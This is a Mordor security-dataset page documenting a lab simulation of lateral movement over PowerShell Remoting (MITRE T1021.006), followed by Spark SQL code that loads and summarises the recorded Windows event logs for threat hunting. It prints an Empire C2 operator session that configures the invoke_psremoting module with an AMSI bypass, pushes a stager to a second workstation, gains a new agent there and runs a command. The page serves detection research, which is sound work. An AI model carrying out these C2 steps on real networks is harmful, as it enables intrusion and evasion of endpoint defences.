Empire Invoke PSRemoting

Metadata

Author

Roberto Rodriguez @Cyb3rWard0g

Creation Date

2019/05/18

Modification Date

2020/09/20

Tactics

[‘TA0002’, ‘TA0008’]

Techniques

[‘T1021.006’]

Tags

[‘PowerShell Remoting’]

Dataset Description

This dataset represents adversaries executing malicious code on remote hosts using PowerShell Remoting (WinRM).

Notebooks

Notebooks created by the community leveraging the mordor datasets

Author

Name

Link

Simulation Plan

Environment

Tool Type

Module

Mordor shire

C2

invoke_psremoting

Adversary View

(Empire: agents) > agents

[*] Active agents:

Name     La Internal IP     Machine Name      Username                Process            PID    Delay    Last Seen            Listener
----     -- -----------     ------------      --------                -------            ---    -----    ---------            ----------------
A7BWPR32 ps 172.18.39.5     WORKSTATION5      *THESHIRE\pgustavo      powershell         5904   5/0.0    2020-09-18 18:29:36  http            
HBEW9G1D ps 172.18.39.6     WORKSTATION6      THESHIRE\sbeavers       powershell         6036   5/0.0    2020-09-18 18:15:39  http            
UF5MYK42 ps 172.18.39.5     WORKSTATION5      *THESHIRE\pgustavo      powershell         6404   5/0.0    2020-09-20 21:05:28  http            

(Empire: agents) > interact UF5MYK42
(Empire: UF5MYK42) > usemodule lateral_movement/invoke_psremoting
(Empire: powershell/lateral_movement/invoke_psremoting) > set ComputerName WORKSTATION6.theshire.local
(Empire: powershell/lateral_movement/invoke_psremoting) > set Listener http
(Empire: powershell/lateral_movement/invoke_psremoting) > info

              Name: Invoke-PSRemoting
            Module: powershell/lateral_movement/invoke_psremoting
        NeedsAdmin: False
        OpsecSafe: True
          Language: powershell
MinLanguageVersion: 2
        Background: False
  OutputExtension: None

Authors:
  @harmj0y

Description:
  Executes a stager on remote hosts using PSRemoting.

Options:

  Name             Required    Value                     Description
  ----             --------    -------                   -----------
  Agent            True        UF5MYK42                  Agent to run module on.                 
  CredID           False                                 CredID from the store to use.           
  ComputerName     True        WORKSTATION6.theshire.lo  Host[s] to execute the stager on, comma 
                              cal                       separated.                              
  Listener         True        http                      Listener to use.                        
  Obfuscate        False       False                     Switch. Obfuscate the launcher          
                                                        powershell code, uses the               
                                                        ObfuscateCommand for obfuscation types. 
                                                        For powershell only.                    
  ObfuscateCommand False       Token\All\1               The Invoke-Obfuscation command to use.  
                                                        Only used if Obfuscate switch is True.  
                                                        For powershell only.                    
  AMSIBypass       False       True                      Include mattifestation's AMSI Bypass in 
                                                        the stager code.                        
  AMSIBypass2      False       False                     Include Tal Liberman's AMSI Bypass in   
                                                        the stager code.                        
  UserName         False                                 [domain\]username to use to execute     
                                                        command.                                
  Password         False                                 Password to use to execute command.     
  UserAgent        False       default                   User-agent string to use for the staging
                                                        request (default, none, or other).      
  Proxy            False       default                   Proxy to use for request (default, none,
                                                        or other).                              
  ProxyCreds       False       default                   Proxy credentials                       
                                                        ([domain\]username:password) to use for 
                                                        request (default, none, or other).      

(Empire: powershell/lateral_movement/invoke_psremoting) > execute
[*] Tasked UF5MYK42 to run TASK_CMD_WAIT
[*] Agent UF5MYK42 tasked with task ID 2
[*] Tasked agent UF5MYK42 to run module powershell/lateral_movement/invoke_psremoting
(Empire: powershell/lateral_movement/invoke_psremoting) > 
[*] Sending POWERSHELL stager (stage 1) to 172.18.39.6
[*] New agent L86DT27X checked in
[+] Initial agent L86DT27X from 172.18.39.6 now active (Slack)
[*] Sending agent (stage 2) to L86DT27X at 172.18.39.6

(Empire: powershell/lateral_movement/invoke_psremoting) > 
(Empire: powershell/lateral_movement/invoke_psremoting) > agents

[*] Active agents:

Name     La Internal IP     Machine Name      Username                Process            PID    Delay    Last Seen            Listener
----     -- -----------     ------------      --------                -------            ---    -----    ---------            ----------------
A7BWPR32 ps 172.18.39.5     WORKSTATION5      *THESHIRE\pgustavo      powershell         5904   5/0.0    2020-09-18 18:29:36  http            
HBEW9G1D ps 172.18.39.6     WORKSTATION6      THESHIRE\sbeavers       powershell         6036   5/0.0    2020-09-18 18:15:39  http            
UF5MYK42 ps 172.18.39.5     WORKSTATION5      *THESHIRE\pgustavo      powershell         6404   5/0.0    2020-09-20 21:09:08  http            

L86DT27X ps 172.18.39.6     WORKSTATION6      *THESHIRE\pgustavo      powershell         10116  5/0.0    2020-09-20 21:09:23  http            

(Empire: agents) > interact L86DT27X
(Empire: L86DT27X) > shell whoami
[*] Tasked L86DT27X to run TASK_SHELL
[*] Agent L86DT27X tasked with task ID 1
(Empire: L86DT27X) > 
theshire\pgustavo

..Command execution completed.

(Empire: L86DT27X) >

Explore Mordor Dataset

Initialize Analytics Engine

from openhunt.mordorutils import *
spark = get_spark()

Download & Process Mordor File

mordor_file = "https://raw.githubusercontent.com/OTRF/mordor/master/datasets/small/windows/lateral_movement/host/empire_psremoting_stager.zip"
registerMordorSQLTable(spark, mordor_file, "mordorTable")
[+] Processing a Spark DataFrame..
[+] DataFrame Returned !
[+] Temporary SparkSQL View: mordorTable 

Get to know your data

df = spark.sql(
'''
SELECT Hostname,Channel,EventID, Count(*) as count
FROM mordorTable
GROUP BY Hostname,Channel,EventID
ORDER BY count DESC
'''
)
df.show(truncate=False)
+---------------------------+----------------------------------------+-------+-----+
|Hostname                   |Channel                                 |EventID|count|
+---------------------------+----------------------------------------+-------+-----+
|WORKSTATION6.theshire.local|Microsoft-Windows-Sysmon/Operational    |12     |735  |
|WORKSTATION6.theshire.local|Microsoft-Windows-Sysmon/Operational    |7      |333  |
|WORKSTATION6.theshire.local|security                                |4658   |172  |
|WORKSTATION6.theshire.local|Microsoft-Windows-Sysmon/Operational    |10     |155  |
|WORKSTATION6               |Windows PowerShell                      |800    |135  |
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational    |12     |115  |
|WORKSTATION6.theshire.local|security                                |4656   |99   |
|WORKSTATION6.theshire.local|Microsoft-Windows-PowerShell/Operational|4103   |97   |
|WORKSTATION6.theshire.local|security                                |4690   |87   |
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational    |10     |84   |
|WORKSTATION6.theshire.local|Microsoft-Windows-Sysmon/Operational    |13     |78   |
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational    |13     |70   |
|WORKSTATION5.theshire.local|Windows PowerShell                      |800    |68   |
|WORKSTATION5.theshire.local|Microsoft-Windows-PowerShell/Operational|4103   |58   |
|WORKSTATION6.theshire.local|security                                |4663   |52   |
|WORKSTATION6.theshire.local|security                                |4674   |44   |
|MORDORDC.theshire.local    |Security                                |5158   |39   |
|WORKSTATION5.theshire.local|Security                                |5158   |35   |
|WORKSTATION6.theshire.local|security                                |5158   |35   |
|MORDORDC.theshire.local    |Security                                |5156   |28   |
+---------------------------+----------------------------------------+-------+-----+
only showing top 20 rows